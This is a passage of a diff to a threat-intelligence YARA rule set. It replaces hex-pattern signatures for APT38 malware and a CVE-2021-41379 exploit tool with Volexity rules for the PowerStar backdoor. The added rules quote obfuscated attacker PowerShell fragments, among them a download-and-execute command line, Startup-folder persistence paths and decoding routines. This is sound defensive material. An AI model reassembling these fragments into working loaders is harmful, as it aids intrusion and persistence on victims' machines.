-		modified = "2021-03-24"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-23/APT38/APT_APT38_ValeforBeta_Mar_2021_1.yar#L1-L22"
-		license_url = "N/A"
-		logic_hash = "0ee8202b8978bf487df2a63c17d139076f2e9f68f1827a17929522060a72937a"
-		score = 50
-		quality = 67
-		tags = "FILE"
-		hash1 = "eb846bb491bea698b99eab80d58fd1f2530b0c1ee5588f7ea02ce0ce209ddb60"
-		level = "experimental"
+		description = "Detects the batch script used to persist PowerStar via Startup."
+		author = "threatintel@volexity.com"
+		id = "f3ed7b46-d80d-55b1-b6c7-6ea6569f199c"
+		date = "2023-05-16"
+		modified = "2023-09-20"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L1-L19"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "9c3a45b759516959eae1cdf8e73bf540b682c90359a6232aa4782a8d1fe15b7d"
+		score = 75
+		quality = 80
+		tags = "CHARMINGKITTEN"
+		hash1 = "9777f106ac62829cd3cfdbc156100fe892cfc4038f4c29a076e623dc40a60872"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$dbg1 = { 2f 64 64 65 00 00 00 64 64 65 65 78 65 63 }
-		$dbg2 = { 25 73 5c 53 68 65 6c 6c 4e 65 77 }
-		$dbg3 = { 25 73 20 28 25 73 3a 25 64 29 0a 25 73 }
-		$dbg4 = { 7b 25 30 38 58 2d 25 30 34 58 2d 25 30 34 58 2d 25 30 32 58 25 30 32 58 2d 25 30 32 58 25 30 32 58 25 30 32 58 25 30 32 58 25 30 32 58 25 30 32 58 7d }
-		$dbg5 = { 25 73 25 73 2e 64 6c 6c }
-		$dbg6 = { 25 73 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 25 73 00 00 00 00 25 73 5c 73 68 65 6c 6c 5c 70 72 69 6e 74 5c 25 73 00 00 00 25 73 5c 73 68 65 6c 6c 5c 70 72 69 6e 74 74 6f 5c 25 73 00 25 73 5c 44 65 66 61 75 6c 74 49 63 6f 6e 00 00 25 73 5c 53 68 65 6c 6c 4e 65 77 00 2c 25 64 00 63 6f 6d 6d 61 6e 64 00 20 22 25 31 22 00 00 00 20 2f 70 20 22 25 31 22 00 00 00 00 20 2f 70 74 20 22 25 31 22 20 22 25 32 22 20 22 25 33 22 20 22 25 34 22 }
-		$dbg7 = { 43 4c 53 49 44 5c 25 31 5c 49 6e 50 72 6f 63 53 65 72 76 65 72 33 32 }
-		$s1 = { 74 f1 ff b5 a8 fe ff ff 8d 4b 10 c7 43 08 03 00 00 00 e8 3c cf fd ff eb da 8d 8d ac fe ff ff e8 3f 1a fc ff 83 65 fc 00 8d 85 ac fe ff ff 50 57 e8 bd fd ff ff ff b5 ac fe ff ff ff 15 24 44 47 00 85 c0 0f 85 be 00 00 00 50 50 8d 8d a0 fe ff ff 51 8d 8d 9c fe ff ff 51 50 50 50 ff b5 ac fe ff ff ff 15 70 42 47 00 85 c0 75 1f ff b5 a8 fe ff ff 53 e8 dc fe ff ff 8b 8d ac fe ff ff }
-		$s2 = { 45 fc 8b 45 0c 0f b6 48 0f 56 51 0f b6 48 0e 51 0f b6 48 0d 51 0f b6 48 0c 51 0f b6 48 0b 51 0f b6 48 0a 51 0f b6 48 09 51 0f b6 48 08 8b 75 08 83 a5 f8 fe ff ff 00 51 0f b7 48 06 51 0f b7 48 04 51 ff 30 8d 85 fc fe ff ff 68 48 aa 47 00 68 00 01 00 00 }
+		$s_1 = "e^c^h^o o^f^f"
+		$s_2 = "powershertxdll.ertxdxe"
+		$s_3 = "Get-Conrtxdtent -Prtxdath"
+		$s_4 = "%appdata%\\Microsrtxdoft\\Windortxdws\\"
+		$s_5 = "&(gcm i*x)$"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >30KB and 5 of ($dbg*) and 1 of ($s*)
+		3 of them
 }
-rule ARKBIRD_SOLG_APT_APT38_Vsingle_Mar_2021_1 : FILE
+rule VOLEXITY_Apt_Win_Powerstar_Memonly : CHARMINGKITTEN
 {
 	meta:
-		description = "Detect VSingle used in attacks against Japanese organisations by APT38"
-		author = "Arkbird_SOLG"
-		id = "d1d640f6-bcec-5364-8ea5-e0c0b86da6e1"
-		date = "2021-03-23"
-		modified = "2021-03-24"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-23/APT38/APT_APT38_VSingle_Mar_2021_1.yar#L1-L24"
-		license_url = "N/A"
-		logic_hash = "d01baac099ce33b837c83d6778900f7e55b8c63e75d0e552c10ababc8dec744c"
-		score = 50
-		quality = 69
-		tags = "FILE"
-		hash1 = "487c1bdb65634a794fa5e359c383c94945ce9f0806fcad46440e919ba0e6166e"
-		level = "experimental"
+		description = "Detects the initial stage of the memory only variant of PowerStar."
+		author = "threatintel@volexity.com"
+		id = "469fc433-da9e-55ed-99fb-9560ec86a179"
+		date = "2023-05-16"
+		modified = "2023-09-20"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L20-L65"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "d790ff204e4e8adeb3e887d9ebce743e958b523c48317d017487b1b0c6aebc11"
+		score = 75
+		quality = 78
+		tags = "CHARMINGKITTEN"
+		hash1 = "977cf5cc1d0c61b7364edcf397e5c67d910fac628c6c9a41cf9c73b3720ce67f"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$dbg1 = { 68 74 74 70 [0-1] 3a 2f 2f 25 73 25 73 }
-		$dbg2 = { 43 72 65 61 74 65 4e 61 6d 65 64 50 69 70 65 41 20 66 69 6e 69 73 68 65 64 20 77 69 74 68 20 45 72 72 6f 72 2d 25 64 }
-		$dbg3 = { 4f 53 3a 20 25 73 25 73 20 53 50 20 25 64 20 25 73 20 28 25 64 2e 25 64 2e 25 64 29 0d 0a }
-		$dbg4 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 75 00 20 00 2f 00 63 00 20 00 25 00 73 }
-		$dbg5 = { 0d 0a 43 6f 6f 6b 69 65 3a 20 25 73 }
-		$dbg6 = { 25 73 5f 6d 61 69 6e }
-		$dbg7 = { 25 73 5f 66 69 6e }
-		$dbg8 = "3%3*373<3I3N3[3`3m3r3" fullword ascii
-		$s1 = { 8b 8d 80 f8 ff ff c7 41 04 01 00 00 00 83 e8 01 0f 84 aa 12 00 00 83 e8 01 0f 84 9a 12 00 00 83 e8 01 0f 84 8a 12 00 00 83 e8 01 0f 84 7a 12 00 }
-		$s2 = { 51 83 7d 08 00 75 07 b8 5b ab 66 00 eb 35 8b 45 08 89 45 fc 8b 4d fc }
+		$s_1 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($in.substring(3)))"
+		$s_2 = "[Convert]::ToByte(([Convert]::ToString(-bnot ($text_bytes[$i])"
+		$s_3 = "$Exec=[System.Text.Encoding]::UTF8.GetString($text_bytes)"
+		$s_4 = "((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})"
+		$f_1 = "function Gorjol{"
+		$f_2 = "Borjol \"$"
+		$f_3 = "Gorjol -text"
+		$f_4 = "function Borjoly{"
+		$f_6 = "$filename = $env:APPDATA+\"\\Microsoft\\Windows\\DocumentPreview.pdf\";"
+		$f_7 = "$env:APPDATA+\"\\Microsoft\\Windows\\npv.txt\""
+		$f_8 = "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\brt8ts74e.bat"
+		$f_9 = "\\Microsoft\\Windows\\s7qe52.txt"
+		$f_10 = "$yeolsoe2 = $yeolsoe"
+		$f_11 = "setRequestHeader(\"Content-DPR\""
+		$f_12 = "getResponseHeader(\"Content-DPR\")"
+		$f_13 = {24 43 6f 6d 6d 61 6e 64 50 61 72 74 73 20 3d 24 53 65 73 73 69 6f 6e 52 65 73 70 6f 6e 73 65 2e 53 70 6c 69 74 28 22 b6 22 29}
+		$f_14 = "$language -like \"*shar*\""
+		$f_15 = "$language -like \"*owers*\""
+		$alias_1 = "(gcm *v????E?P?e*)"
+		$alias_2 = "&(gcm *ke-e*) $Command"
+		$key = "T2r0y1M1e1n1o0w1"
+		$args_1 = "$sem.Close()"
+		$args_2 = "$cem.Close()"
+		$args_3 = "$mem.Close()"
+		$command_1 = "_____numone_____"
+		$command_2 = "_____mac2_____"
+		$command_3 = "_____yeolsoe_____"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >30KB and 6 of ($dbg*) and all of ($s*)
+		2 of ($s_*) or any of ($f_*) or 2 of ($alias_*) or $key or all of ($args_*) or any of ($command_*)
 }
-rule ARKBIRD_SOLG_EXP_CVE_2021_41379_Nov_2021_1 : CVE_2021_41379 FILE
+rule VOLEXITY_Apt_Win_Powerstar_Logmessage : CHARMINGKITTEN
 {
 	meta:
-		description = "Detect exploit tool using CVE-2021-41379"
-		author = "Arkbird_SOLG"
-		id = "616e697d-0c62-58bb-9f37-29670a09d886"
-		date = "2021-11-26"
-		modified = "2021-11-29"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1463414554004709384"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-26/EXP_CVE_2021_41379_Nov_2021_1.yara#L1-L21"
-		license_url = "N/A"
-		logic_hash = "5514ab8f95a5d82453407dd506d55eaf1a0aa22f5ce6a5fb18501ef41645305a"
+		description = "Detects interesting log message embedded in memory only version of PowerStar."
+		author = "threatintel@volexity.com"
+		id = "5979c776-5138-50e2-adab-0793ad86ba76"
+		date = "2023-05-16"
+		modified = "2023-09-20"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L66-L79"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "539c9a8b3de24f2c8058d204900344756a8031822ebebc312612b8fb8422e341"
 		score = 75
-		quality = 75
-		tags = "CVE-2021-41379, FILE"
-		hash1 = "5d97d3035b2ec1bd16016922899350693cae5f7a3be6cadbe0da34fbfd14b612"
-		hash2 = "76fe99189fa84e28dd346b1105da77c4dfd3f7f16478b05bfca4c13a75d9fd07"
-		hash3 = "9e4763ddb6ac4377217c382cf6e61221efca0b0254074a3746ee03d3d421dabd"
-		hash4 = "a018545b334dc2a0e0c437789a339c608852fa1cedcc88be9713806b0855faea"
-		tlp = "white"
-		adversary = "-"
+		quality = 80
+		tags = "CHARMINGKITTEN"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 50 6a 01 50 68 03 00 08 00 68 [3] 00 ff 15 [3] 00 8b f0 83 fe ff 0f 84 [2] 00 00 6a 00 56 ff 15 88 [2] 00 8d 85 ?? fb ff ff c7 85 ?? fb ff ff 00 00 00 00 50 56 ff 15 [3] 00 8b 3d [3] 00 56 ff d7 ff 15 [3] 00 50 6a 00 68 00 10 10 00 ff 15 [3] 00 8b f0 c7 85 ?? fb ff ff 00 00 00 00 8d 85 ?? fb ff ff 50 68 ff 01 0f 00 56 ff 15 [3] 00 56 ff d7 8d 85 ?? fb ff ff c7 85 ?? fb ff ff 00 00 00 00 50 6a 01 6a 02 6a 00 68 ff 01 0f 00 ff b5 ?? fb ff ff ff 15 [3] 00 ff b5 ?? fb ff ff ff d7 6a 04 8d 85 ?? fb ff ff 50 6a 0c ff b5 ?? fb ff ff ff 15 08 [2] 00 6a 44 8d 85 78 fb ff ff 0f 57 c0 6a 00 50 0f 11 85 bc fb ff ff e8 [2] 00 00 83 c4 0c c7 85 78 fb ff ff 44 00 00 00 b8 05 00 00 00 c7 85 80 fb ff ff [3] 00 66 89 85 a8 fb ff ff 8d 85 e8 fd ff ff 68 04 01 00 00 50 68 [3] 00 ff 15 [3] 00 8d 85 bc fb ff ff 50 8d 85 78 fb ff ff 50 6a 00 6a 00 6a 10 6a 00 6a 00 6a 00 6a 00 8d 85 e8 fd ff ff 50 ff b5 ?? fb ff ff ff 15 [3] 00 ff b5 ?? fb ff ff ff d7 ff b5 bc fb ff ff ff d7 ff b5 c0 fb ff ff ff d7 }
-		$s2 = { 6a 00 68 80 00 00 04 6a 04 6a 00 6a 01 68 00 00 01 80 8d 85 e8 fd ff ff 50 ff 15 [3] 00 8b 35 [3] 00 a3 [3] 00 8d 85 d8 fb ff ff 50 6a 00 6a 00 68 [2] 40 00 6a 00 6a 00 c7 85 d8 fb ff ff 00 00 00 00 ff d6 8b f8 8b 85 dc fb ff ff 68 [3] 00 05 0c 02 00 00 68 04 01 00 00 50 }
-		$s3 = { 55 8b ec 81 ec 04 08 00 00 a1 04 [2] 00 33 c5 89 45 fc 0f 10 05 [3] 00 ?? 8b ?? 08 8d 85 2c f8 ff ff [0-1] 0f 11 85 fc f7 ff ff [1-5] 0f 10 05 [3] 00 [3-8] 0f 11 85 0c f8 ff ff [0-1] 0f 10 05 }
-		$s4 = { 50 ff ?? 68 04 01 00 00 8d 85 e0 fb ff ff 50 6a 00 ff 15 [3] 00 50 ff 15 [3] 00 6a 00 e8 [2] ff ff 50 8d 85 e0 fb ff ff 50 ff 15 84 [2] 00 6a 00 ff 15 [3] 00 8d 85 ?? fb ff ff 50 68 [3] 00 6a 04 6a 00 68 [3] 00 ff 15 [3] 00 ff 15 [3] 00 8b 35 [3] 00 8b 3d [3] 00 }
+		$s_1 = "wau, ije ulineun mueos-eul halkkayo?"
 
 	condition:
-		uint16(0)==0x5A4D and filesize >25KB and all of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_EXP_CVE_2021_41379_Nov_2021_3 : CVE_2021_41379 FILE
+rule VOLEXITY_Apt_Win_Powerstar_Lnk : CHARMINGKITTEN
 {
 	meta:
-		description = "Detect exploit tool using CVE-2021-41379 (variant 3)"
-		author = "Arkbird_SOLG"
-		id = "c82578d6-63ca-50f6-b105-321791ec8808"
-		date = "2021-11-26"
-		modified = "2021-11-29"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-26/EXP_CVE_2021_41379_Nov_2021_3.yara#L1-L27"
-		license_url = "N/A"
-		logic_hash = "559c4ca0e9ac60e3dd7d5b9a8eb22d887b0b436d4e1fc528e05e7a33ecce0aa6"
+		description = "Detects LNK command line used to install PowerStar."
+		author = "threatintel@volexity.com"
+		id = "33f16283-69b9-5109-b723-3ddc8abb8c41"
+		date = "2023-05-16"
+		modified = "2023-09-20"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L80-L97"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "da53aeaf69e80f697068779f4741b8c23cff82dd1bfb0640916a1bcc98c4892f"
 		score = 75
-		quality = 75
-		tags = "CVE-2021-41379, FILE"
-		hash1 = "0dcda614c0128813bf74802f0e98ffd5ec32a40f35ed42778a5ec5984b5adf47"
-		hash2 = "3c78e07924e1503be1f8785c23d0dd813f04211992cbd6a4955cd0e25c745735"
-		hash3 = "57ec6e15bcc9c79c118f97103815bd74226d4baae334142890a52fbbc5006f1b"
-		hash4 = "9d24383e50e61257c565e47ec073cbb2cd751b6f650f0d542b0643dbe6691b3c"
-		tlp = "white"
-		adversary = "-"
+		quality = 80
+		tags = "CHARMINGKITTEN"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 8d 0d [2] 03 00 e8 [2] ff ff 41 b8 00 00 00 80 33 d2 33 c9 ff 15 [2] 03 00 48 89 45 08 41 b8 01 00 00 00 48 8d 15 [3] 00 48 8b 4d 08 ff 15 [2] 03 00 48 89 45 28 ff 15 [2] 03 00 3d 24 }
-		$s2 = { 33 d2 48 8b 4d 08 ff 15 [2] 03 00 c7 45 24 00 00 00 00 48 8d 55 24 48 8b 4d 08 ff 15 [2] 03 00 48 8b 4d 08 ff 15 [2] 03 00 ff 15 [2] 03 00 44 8b c0 33 d2 b9 00 10 10 00 ff 15 [2] 03 00 48 89 45 48 48 c7 45 68 00 00 00 00 4c 8d 45 68 ba ff 01 0f 00 48 8b 4d 48 ff 15 [2] 03 00 48 8b 4d 48 ff 15 [2] 03 00 48 c7 85 88 00 00 00 00 00 00 00 48 8d 85 88 00 00 00 48 89 44 24 28 c7 44 24 20 01 00 00 00 41 b9 02 00 00 00 45 33 c0 ba ff 01 0f 00 48 8b 4d 68 ff 15 [2] 03 00 48 8b 4d 68 ff 15 [2] 03 00 41 b9 04 00 00 00 4c 8d 45 24 ba 0c 00 00 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8d 85 a8 00 00 00 48 8b f8 33 c0 b9 18 00 00 00 f3 aa 48 8d 85 e0 00 00 00 48 8b f8 33 c0 b9 68 00 00 00 f3 aa c7 85 e0 00 00 00 68 00 00 00 b8 05 00 00 00 66 89 85 20 01 00 00 48 8d 05 [2] 02 00 48 89 85 f0 00 00 00 41 b8 04 01 00 00 48 8d 95 70 01 00 00 48 8d 0d [2] 02 00 ff 15 [2] 03 00 48 8d 85 a8 00 00 00 48 89 44 24 50 48 8d 85 e0 00 00 00 48 89 44 24 48 48 c7 44 24 40 00 00 00 00 48 c7 44 24 38 00 00 00 00 c7 44 24 30 10 00 00 00 c7 44 24 28 00 00 00 00 48 c7 44 24 20 00 00 00 00 45 33 c9 45 33 c0 48 8d 95 70 01 00 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8b 8d a8 00 00 00 ff 15 [2] 03 00 48 8b 8d b0 00 00 00 ff 15 [2] 03 00 }
-		$s3 = { 41 b8 00 00 00 80 33 d2 33 c9 ff 15 [2] 03 00 48 89 45 08 41 b8 01 00 00 00 48 8d 15 [3] 00 48 8b 4d 08 ff 15 [2] 03 00 48 89 45 28 48 8b 4d 08 ff 15 [2] 03 00 48 c7 45 48 00 00 00 00 c7 45 64 00 00 00 00 4c 8d 4d 64 45 33 c0 48 8b 55 48 48 8b 4d 28 ff 15 [2] 03 00 8b 45 64 48 89 85 88 04 00 00 ff 15 [2] 03 00 48 8b 8d 88 04 00 00 4c 8b c1 ba 0c 00 00 00 48 8b c8 ff 15 [2] 03 00 48 89 45 48 4c 8d 4d 64 44 8b 45 64 48 8b 55 48 48 8b 4d 28 ff 15 [2] 03 00 48 8b 45 48 4c 8b 40 10 ba 04 01 00 00 48 8d 8d 90 00 00 00 ff 15 [2] 03 00 ff 15 [2] 03 00 4c 8b 45 48 33 d2 48 8b c8 ff 15 [2] 03 00 48 8b 4d 28 ff 15 [2] 03 00 c7 85 b4 02 00 00 01 00 00 00 c7 85 d4 02 00 00 00 00 00 }
-		$s4 = { 68 00 00 00 80 6a 00 6a 00 ff 15 24 f0 43 00 3b f4 e8 bf 5b ff ff 89 45 f8 8b f4 6a 01 68 34 84 43 00 8b 45 f8 50 ff 15 20 f0 43 00 3b f4 e8 a2 5b ff ff 89 45 ec 8b f4 ff 15 2c f1 43 00 3b f4 e8 90 5b ff ff 3d 24 }
-		$s5 = { f3 ab a1 0c d0 43 00 33 c5 89 45 fc b9 d9 10 44 00 e8 55 9c ff ff 8b 45 08 89 45 f4 b9 0c 00 00 00 be a4 7e 43 00 8d bd ec f7 ff ff f3 a5 68 d0 07 00 00 6a 00 8d 85 1c f8 ff ff 50 e8 bd 95 ff }
-		$s6 = { 8b f4 6a 00 8b 45 f4 50 ff 15 88 f0 43 00 3b f4 e8 8d 67 ff ff c7 45 e8 00 00 00 00 8b f4 8d 45 e8 50 8b 4d f4 51 ff 15 c8 f0 43 00 3b f4 e8 6f 67 ff ff 8b f4 8b 45 f4 50 ff 15 30 f1 43 00 3b f4 e8 5c 67 ff ff 8b f4 ff 15 a4 f0 43 00 3b f4 e8 4d 67 ff ff 8b f4 50 6a 00 68 00 10 10 00 ff 15 b8 f0 43 00 3b f4 e8 36 67 ff ff 89 45 dc c7 45 d0 00 00 00 00 8b f4 8d 45 d0 50 68 ff 01 0f 00 8b 4d dc 51 ff 15 3c f0 43 00 3b f4 e8 10 67 ff ff 8b f4 8b 45 dc 50 ff 15 30 f1 43 00 3b f4 e8 fd 66 ff ff c7 45 c4 00 00 00 00 8b f4 8d 45 c4 50 6a 01 6a 02 6a 00 68 ff 01 0f 00 8b 4d d0 51 ff 15 38 f0 43 00 3b f4 e8 d4 66 ff ff 8b f4 8b 45 d0 50 ff 15 30 f1 43 00 3b f4 e8 c1 66 ff ff 8b f4 6a 04 8d 45 e8 50 6a 0c 8b 4d c4 51 ff 15 2c f0 43 00 3b f4 e8 a6 66 ff ff 33 c0 89 45 ac 89 45 b0 89 45 b4 89 45 b8 6a 44 6a 00 8d 85 60 ff ff ff 50 e8 36 63 ff ff 83 c4 0c c7 85 60 ff ff ff 44 00 00 00 b8 05 00 00 00 66 89 45 90 c7 85 68 ff ff ff a0 86 43 00 8b f4 68 04 01 00 00 8d 85 50 fd ff ff 50 68 c8 86 43 00 ff 15 58 f1 43 00 3b f4 e8 48 66 ff ff 8b f4 8d 45 ac 50 8d 8d }
-		$s7 = { 40 53 48 81 ec 30 08 00 00 48 8b 05 b8 78 00 00 48 33 c4 48 89 84 24 20 08 00 00 0f 10 05 7e 4e 00 00 48 8b d9 33 d2 0f 10 0d 82 4e 00 00 48 8d 4c 24 50 41 b8 d0 07 00 00 0f 29 44 24 20 0f 10 05 7b 4e 00 00 0f 29 4c 24 30 0f 29 44 24 40 e8 da 42 00 00 4c 8b 03 48 8d 4c 24 20 ba 00 04 00 00 e8 6a f8 ff ff 33 d2 8d 4a 02 ff 15 77 4c 00 00 48 8b 4b 08 48 8d 54 24 20 ff 15 70 4c 00 00 33 c0 48 8b 8c 24 20 08 00 00 48 33 cc e8 de 34 00 00 48 81 c4 30 08 00 00 }
-		$s8 = { 33 d2 48 8b cb ff 15 c6 2c 00 00 83 65 00 00 48 8d 55 00 48 8b cb ff 15 85 2c 00 00 48 8b cb ff 15 1c 2d 00 00 ff 15 86 2c 00 00 33 d2 b9 00 10 10 00 44 8b c0 ff 15 46 2c 00 00 48 83 64 24 68 00 4c 8d 44 24 68 48 8b c8 ba ff 01 0f 00 48 8b d8 ff 15 82 2b 00 00 48 8b cb ff 15 e1 2c 00 00 48 8b 4c 24 68 48 8d 44 24 60 48 83 64 24 60 00 41 b9 02 00 00 00 48 89 44 24 28 45 33 c0 ba ff 01 0f 00 c7 44 24 20 01 00 00 00 ff 15 80 2b 00 00 48 8b 4c 24 68 ff 15 a5 2c 00 00 48 8b 4c 24 60 4c 8d 45 00 41 b9 04 00 00 00 41 8d 51 08 ff 15 1c 2b 00 00 33 c0 48 8d 4d 90 0f 57 c0 48 89 45 80 33 d2 0f 11 44 24 70 8d 58 68 44 8b c3 e8 5b 25 00 00 8d 43 9d 89 5d 90 66 89 45 d0 48 8d 55 10 48 8d 05 e0 33 00 00 41 b8 04 01 00 00 48 8d 0d f3 33 00 00 48 89 45 a0 ff 15 91 2c 00 00 48 8b 4c 24 60 48 8d 44 24 70 48 89 44 24 50 48 8d 55 10 48 8d 45 90 45 33 c9 48 89 44 24 48 45 33 c0 48 83 64 24 40 00 48 83 64 24 38 00 c7 44 24 30 10 00 00 00 83 64 24 28 00 48 83 64 24 20 00 ff 15 9a 2a 00 00 48 8b 4c 24 60 ff 15 ef 2b 00 00 48 8b 4c 24 70 ff 15 e4 2b 00 00 48 8b 4c 24 78 ff 15 d9 }
-		$s9 = { 33 d2 33 c9 41 b8 00 00 00 80 ff 15 ba 33 00 00 41 b8 01 00 00 00 48 8d 15 7d 3b 00 00 48 8b c8 48 8b d8 ff 15 d9 33 00 00 48 8b cb 48 8b f8 ff 15 8d 33 00 00 4c 8d 4c 24 20 89 74 24 20 45 33 c0 33 d2 48 8b cf ff 15 ae 33 00 00 8b 5c 24 20 ff 15 64 34 00 00 44 8b c3 ba 0c 00 00 00 48 8b c8 ff 15 33 34 00 00 44 8b 44 24 20 4c 8d 4c 24 20 48 8b d0 48 8b cf 48 8b d8 ff 15 7a 33 00 00 4c 8b 43 10 48 8d 4c 24 30 ba 04 01 00 00 ff 15 46 37 00 00 ff 15 20 34 00 00 4c 8b c3 33 d2 48 8b c8 ff 15 9a 33 00 00 48 8b cf ff 15 11 33 00 00 48 8d 4c 24 30 8b fe ff 15 a4 33 00 00 83 e8 02 }
+		$p_1 = "-UseBasicParsing).Content; &(gcm i*x)$"
+		$c_1 = "powershecde43ell.ecde43exe"
+		$c_2 = "wgcde43eet -Ucde43eri"
+		$c_3 = "-UseBasicde43ecParsing).Contcde43eent; &(gcm i*x)$"
 
 	condition:
-		uint16(0)==0x5A4D and filesize >25KB and 3 of ($s*)
+		any of them
 }
-rule ARKBIRD_SOLG_EXP_CVE_2021_41379_Nov_2021_2 : CVE_2021_41379 FILE
+rule VOLEXITY_Apt_Win_Powerstar_Decrypt_Function : CHARMINGKITTEN
 {
 	meta:
-		description = "Detect exploit tool using CVE-2021-41379 (variant 2)"
-		author = "Arkbird_SOLG"
-		id = "29fe9a9c-5180-55c8-882b-ad18981dc011"
-		date = "2021-11-26"
-		modified = "2021-11-29"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-26/EXP_CVE_2021_41379_Nov_2021_2.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "28b1d0d6c0ee14cd46b12763692f4f76020cd5ad74bb2b39b61f493b98486068"
+		description = "Detects PowerStar decrypt function, potentially downloaded standalone and then injected."
+		author = "threatintel@volexity.com"
+		id = "1fbc2689-8169-53b1-b581-c41ab2b3a16f"
+		date = "2023-05-16"
+		modified = "2023-09-20"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L98-L121"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "d022e363464488836a1c161f2b9c7463ac91ae6f60f14dfd574189233201c9aa"
 		score = 75
-		quality = 75
-		tags = "CVE-2021-41379, FILE"
-		hash1 = "13fe508e7efb50378eb8e0225221283756bf482d51be7837f850ef2b7f3281f0"
-		hash2 = "402722d95d468ddef049e1079c882bb9a316841b9695a15783fc23bbd3b33aed"
-		hash3 = "d025564e6dc872cff32f2295e0b5a2d8e3a21fbef1957facb69a493fa8a995fb"
-		hash4 = "dc65cd6311fd764a89d0761932bef61a89fd979510bd9ff23cde8c001de316b8"
-		tlp = "white"
-		adversary = "-"
+		quality = 80
+		tags = "CHARMINGKITTEN"
+		hash1 = "b79d28fe5e3c988bb5aadb12ce442d53291dbb9ede0c7d9d64eec078beba5585"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 4c 89 6c 24 38 44 89 6c 24 30 44 89 6c 24 28 44 89 6c 24 20 [1-2] 01 00 00 00 ?? 8b ?? 45 33 c0 ba 03 00 08 00 48 8d 0d [3] 00 ff 15 [3] 00 48 8b d8 48 83 f8 ff 0f 84 ?? 01 00 00 33 d2 48 8b c8 ff 15 [3] 00 44 89 6d 10 48 8d 55 10 48 8b cb ff 15 [3] 00 48 8b cb ff 15 [3] 00 ff 15 [3] 00 44 8b c0 33 d2 b9 00 10 10 00 ff 15 [3] 00 48 8b d8 4c 89 }
-		$s2 = { 4c 89 6c 24 30 c7 44 24 28 80 00 00 04 c7 44 24 20 04 00 00 00 45 33 c9 [1-2] 01 00 00 00 ?? 8b ?? ba 00 00 01 80 48 8d 4d 20 ff 15 [3] 00 48 89 05 [3] 00 44 89 6d 14 48 8d 45 14 48 89 44 24 28 44 89 6c 24 20 45 33 c9 4c 8d 05 [2] ff ff 33 d2 33 c9 ff 15 [3] 00 48 8b d8 ?? 8b ?? ba 04 01 00 00 49 8d ?? 10 02 00 00 [4] 00 }
